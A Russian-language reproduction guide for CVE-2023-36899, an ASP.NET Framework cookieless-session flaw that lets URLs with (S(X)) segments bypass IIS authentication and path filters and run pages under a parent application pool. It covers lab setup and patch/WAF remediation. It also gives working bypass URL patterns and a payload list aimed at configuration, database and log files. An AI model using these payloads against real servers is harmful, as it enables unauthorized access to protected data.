CVE-2023-36899

Среда воспроизведения и инструменты для уязвимости CVE-2023-36899, связанной с обходом аутентификации сеанса без cookie (cookieless) в ASP.NET Framework.

Cookieless DuoDrop: обход аутентификации IIS и повышение привилегий пула приложений в ASP.NET Framework (CVE-2023-36899)

В современной веб-разработке, хотя cookies являются предпочтительным способом передачи идентификатора сеанса, .NET Framework также предлагает альтернативный способ: кодирование идентификатора сеанса непосредственно в URL. Этот приём известен как функция «без cookie» (cookieless) в .NET Framework. Многие разработчики и специалисты по безопасности игнорируют эту возможность, поскольку в реальных приложениях она встречается редко. Однако она стала настоящей находкой для обнаружения клиентских уязвимостей, таких как фиксация сеанса (session fixation), перехват сеанса (session hijacking), HTML-инъекции и межсайтовый скриптинг (XSS). Кроме того, эту функцию можно использовать для обхода межсетевых экранов с правилами на основе путей, которые не настроены на распознавание метода без cookie. Из-за неотъемлемых проблем безопасности .NET Core и последующие версии .NET исключили функцию без cookie. Но нельзя забывать о многочисленных веб-приложениях, которые по-прежнему используют классический .NET Framework.

Ключевые моменты:

1. Функцию без cookie в .NET Framework можно использовать для доступа к защищённым каталогам или каталогам, которые блокируются URL-фильтрами IIS.
2. С помощью функции без cookie можно обойти проверки аутентификации или фильтрации IIS.
3. Ещё одна проблема связана с тем, как IIS управляет пулами приложений, и может привести к повышению привилегий или обходу безопасности.
4. С помощью функции без cookie в .NET Framework можно заставить приложение IIS работать с родительским пулом приложений вместо собственного.

Детали уязвимости:

1. Обход ограниченных путей IIS

Функцию без cookie в .NET Framework можно использовать для доступа к защищённым каталогам или каталогам, которые блокируются URL-фильтрами IIS. Например, рассмотрим следующие сценарии на сайте victim.com:

• Страница в каталоге /protected/: /webform/protected/target1.aspx, для которого включена базовая проверка подлинности.
• Страница, временно перемещённая в папку /bin/: /webform/bin/target2.aspx, из-за чего она стала недоступной.

В обычных условиях доступ к страницам по следующим URL будет заблокирован в IIS:

• http://10.0.2.15:8080/webform/protected/target1.aspx
• http://10.0.2.15:8080/webform/bin/target2.aspx

Однако, используя функцию без cookie, можно получить доступ к этим страницам по следующим шаблонам:

• http://10.0.2.15:8080/webform/(S(X))/prot/(S(X))ected/target1.aspx
• http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target2.aspx

2. Путаница с пулом приложений

То, как IIS управляет пулами приложений, может привести к повышению привилегий или обходу безопасности. Можно манипулировать функцией без cookie в .NET Framework, чтобы заставить приложение IIS работать с родительским пулом приложений вместо собственного.

Например:

• Корень веб-сайта (/) работает с пулом приложений DefaultAppPool.
• Приложение /classic/ использует пул приложений .NET v4.5 Classic.
• Приложение /classic/nodotnet/ использует пул приложений NoManagedCodeClassic, который не поддерживает управляемый код.

C#-файл с именем AppPoolPrint.aspx доступен во всех указанных выше приложениях и отображает имя текущего пула приложений.

Используя функцию без cookie дважды, мы можем запустить эту страницу с родительским пулом приложений:

• /(S(X))/(S(X))/classic/AppPoolPrint.aspx -> DefaultAppPool
• /(S(X))/(S(X))/classic/nodotnet/AppPoolPrint.aspx -> DefaultAppPool
• /classic/(S(X))/(S(X))/nodotnet/AppPoolPrint.aspx -> .NET v4.5 Classic

Это позволяет даже страницам в /classic/nodotnet/ (где управляемый код не должен выполняться) запускать ASPX-страницы с родительским пулом приложений. Такое поведение может привести к повышению привилегий в IIS.

Воспроизведение уязвимости:

1. Подготовка окружения:

• Операционная система: установите версию Windows Server, например Windows Server 2016 или 2019.
• Веб-сервер: установите Internet Information Services (IIS).
• Платформа разработки: установите .NET Framework (не .NET Core и не .NET 5+).

При установке IIS выберите:

• Веб-сервер:
  • Общие компоненты HTTP:
    • Статическое содержимое
    • Документ по умолчанию
    • Просмотр каталогов
    • Ошибки HTTP
  • Разработка приложений:
    • .NET Extensibility (соответствует вашей версии .NET Framework: 4.5)
    • ASP.NET (соответствует вашей версии .NET Framework: 4.5)
    • Расширения ISAPI
    • Фильтры ISAPI
• Работоспособность и диагностика:
  • Журнал HTTP
  • Монитор запросов
  • Средства ведения журнала
• Безопасность:
  • Фильтрация запросов
  • Базовая проверка подлинности
  • Проверка подлинности Windows

2. Настройка IIS:

1. Откройте диспетчер IIS.
2. Создайте новый веб-узел.
3. На новом узле создайте несколько каталогов, например /webform, /webform/protected и /webform/bin.
4. В каталоге /protected/ настройте базовую проверку подлинности.
5. Переместите страницу /webform/bin/target.aspx в папку /bin/, чтобы сделать её недоступной для прямого доступа. (Каталог bin по умолчанию недоступен в IIS, поскольку содержит чувствительные скомпилированные программы.)

3. Создание тестовых страниц:

1. В каталоге /webform/protected/ создайте страницу с именем target.aspx.
2. В каталоге /webform/bin/ создайте страницу с именем target.aspx.
3. В каждом приложении создайте страницу с именем AppPoolPrint.aspx, которая отображает имя текущего пула приложений.

Тестовое содержимое файла target.aspx:

<%@ Page Language="C#" %>
    <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ASPX Test</title>
</head>
<body>
    This is a static text. <br>
    Dynamic text: <%= DateTime.Now.ToString() %>
        </body>
</html>

Тестовое содержимое файла web.config в корневом каталоге:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <compilation debug="true" targetFramework="4.5" />
        <httpRuntime targetFramework="4.5" />
        <sessionState mode="InProc" cookieless="UseCookies" />
    </system.web>
</configuration>

Здесь означает, что веб-сайт использует Cookie для хранения некоторой информации о сеансе по умолчанию и т.д.; это также значение по умолчанию.

4. Воспроизведение уязвимости:

1. Попробуйте напрямую получить доступ к страницам /webform/protected/target.aspx и /webform/bin/target.aspx. Вы должны быть заблокированы или получить запрос на проверку подлинности.

Успешный доступ через http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx

2. Попробуйте получить доступ к этим страницам, используя функцию без cookie, например:
   • https://yourserver/webform/(S(X))/prot/(S(X))ected/target.aspx
   • https://yourserver/webform/(S(X))/b/(S(X))in/target.aspx Вы должны иметь возможность обойти аутентификацию или фильтры и получить доступ к этим страницам.

Рекомендации по исправлению

1. Заблокируйте сигнатуру /S(X)) на WAF.
2. Установите на сервер соответствующий патч https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899

Возможный список payload:

/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....

Ссылки:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899